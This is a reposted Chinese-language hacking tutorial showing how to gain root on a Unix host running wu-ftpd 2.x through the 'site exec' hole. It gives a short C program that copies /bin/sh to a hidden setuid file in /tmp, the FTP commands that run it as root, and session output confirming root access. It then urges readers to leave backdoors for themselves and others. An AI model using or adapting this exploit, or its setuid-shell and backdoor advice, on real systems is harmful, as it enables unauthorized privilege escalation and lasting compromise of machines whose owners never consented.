使用wu-ftp2.x來取得root權限
發表于:2007-07-02來源:作者:點擊數:
標簽:
1. 需求 : (1)該主機的 ftpd 使用 wu-ftp 2.x 版本 (2)您必須有該主機的任何一個帳號 2.步驟: (1)先 telnet login 到主機您的目錄下... (2)使用 cc -o bug bug.c 將下列程式編譯... -- bug.c ----------------------------- #include #include #include main(
1.
需求:
(1)該主機的 ftpd 使用 wu-ftp 2.x 版本
(2)您必須有該主機的任何一個帳號
2.步驟:
(1)先 telnet login 到主機您的目錄下...
(2)使用 cc -o bug bug.c 將下列程式編譯...
--< bug.c >-----------------------------
#include
#include
#include
main()
{
seteuid(0);
system("cp /bin/sh /tmp/.sh");
system("chmod 6777 /tmp/.sh");
}
-----------------------------------------
編譯成功後會在您的目錄下產生 bug 這個檔案 (別忘了 chmod ...)
(3)使用 ftp login 到該主機下...
220 hackerforce FTP server (Version wu-2.4(1) Sun Jul 31 21:00:15 CDT 1997) ready.
Name (hackerforce:ftp): funky
331 Password required for funky.
Password: (password)
230 User funky logged in.
Remote system type is
UNIX.
Using binary mode to transfer files.
ftp> quote "site exec bash -c id" (檢查系統是否能利用此 bug)
200-bash -c id
200-uid=0(root) gid=0(root) euid=101(funky) egid=50(users) groups=50(users)
200 (end of @#bash -c id@#) (一但出現 euid=0 就成功了)
ftp> quote "site exec bash -c /yer/home/dir/ftpbug" (執行您剛編譯成功的 bug)
200-bash -c /your/home/dir/bug
200 (end of @#bash -c /your/home/dir/bug@#)
ftp> quit (離開 ftp)
221 Goodbye.
(4)再 telnet 進去該主機,執行 /tmp/.sh 這個 setuid root shell ...
$ id
uid=101(funky) gid=50(user)
$ /tmp/.sh
# id
uid=101(funky) gid=50(user) euid=0(root)
#
恭喜您...到此您就成功的拿到 root 權限了....
3.後記:
由於 wu-ftpd 執行時的 euid 是 root ,所以我們透過這個 hole 來執行執行外部的命令....當編譯完的 bug 一但被執行,便會幫您將 /bin/sh 這個 shell 復制一份到 /tmp/.sh 下,并且會將 /tmp/.sh setuid ,一但成功後只要任何使用者執行 /tmp/.sh 這個 setuid shell 就會雍有 root 的 euid ....
一但您得手後,別忘了幫自己及別人多留些 backdoor... ;-)
弟有感於國內這些 hack 資源實在很有限,以後弟會試著將一些弟曾實作過的技巧及心得 post 出來,讓有興趣的朋友能很快的進入這個領域,歡迎各位前輩後進,能多多與弟研究,交流.....
funky chen
e-mail:hacker@m2.dj.net.tw
http://w7.dj.net.tw/~hacker
原文轉自:http://www.kjueaiud.com